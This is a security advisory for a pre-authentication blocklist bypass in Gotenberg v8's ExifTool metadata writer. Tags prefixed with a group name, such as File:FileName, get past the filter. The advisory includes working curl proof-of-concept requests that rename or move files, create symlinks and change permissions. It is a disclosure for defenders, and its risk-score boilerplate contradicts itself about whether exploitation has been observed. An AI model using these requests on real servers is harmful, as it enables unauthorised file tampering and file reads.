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GHSA-7v3r-m9c8-r855

HighCVSS 8.2 / 10
Published May 7, 2026·Last modified May 7, 2026
Affected Components(0)

No affected components available

Description

Summary

The ExifTool metadata write blocklist in Gotenberg v8 can be bypassed using ExifTool's group-prefix syntax, enabling arbitrary file rename, move, hardlink, and symlink creation on the server. This is a bypass of the fix for GHSA-qmwh-9m9c-h36m.

Details

The blocklist in pkg/modules/exiftool/exiftool.go filters four dangerous pseudo-tags (FileName, Directory, HardLink, SymLink) using strings.EqualFold(key, tag). However, ExifTool supports group-prefix syntax where File:FileName is processed identically to FileName -- the prefix is stripped by SetNewValue in Writer.pl before tag matching.

The safeKeyPattern regex (^[a-zA-Z0-9\-_.:]+$) allows colons, so prefixed tag names pass validation. Any prefix works: File:FileName, System:Directory, a:HardLink, etc.

Additionally, FilePermissions, FileUserID, and FileGroupID pseudo-tags are not blocked at all and can modify file attributes without any prefix.

PoC

# Rename the converted PDF (bypasses FileName blocklist)
curl -F "files=@test.pdf" \
  -F 'metadata={"File:FileName":"pwned.pdf"}' \
  http://localhost:3000/forms/pdfengines/metadata/write

# Move the file to /tmp (bypasses Directory blocklist)
curl -F "files=@test.pdf" \
  -F 'metadata={"File:Directory":"/tmp"}' \
  http://localhost:3000/forms/pdfengines/metadata/write

# Create a symlink (bypasses SymLink blocklist)
curl -F "files=@test.pdf" \
  -F 'metadata={"File:SymLink":"/tmp/symlink-poc"}' \
  http://localhost:3000/forms/pdfengines/metadata/write

# Change file permissions (not blocked at all)
curl -F "files=@test.pdf" \
  -F 'metadata={"FilePermissions":"rwxrwxrwx"}' \
  http://localhost:3000/forms/pdfengines/metadata/write

Impact

Pre-auth (no authentication by default). Attacker can rename, move, or create links to files within the Gotenberg container. In deployments with mounted volumes or non-containerized setups, this enables arbitrary file read via symlink chaining and file overwrite via directory manipulation.

This is a direct bypass of the fix for GHSA-qmwh-9m9c-h36m.

Risk Scores
Base Score
8.2

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the integrity of the data. There is a low impact on the availability of the system.

Threat Intelligence
7.5

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
0.29%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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High severity
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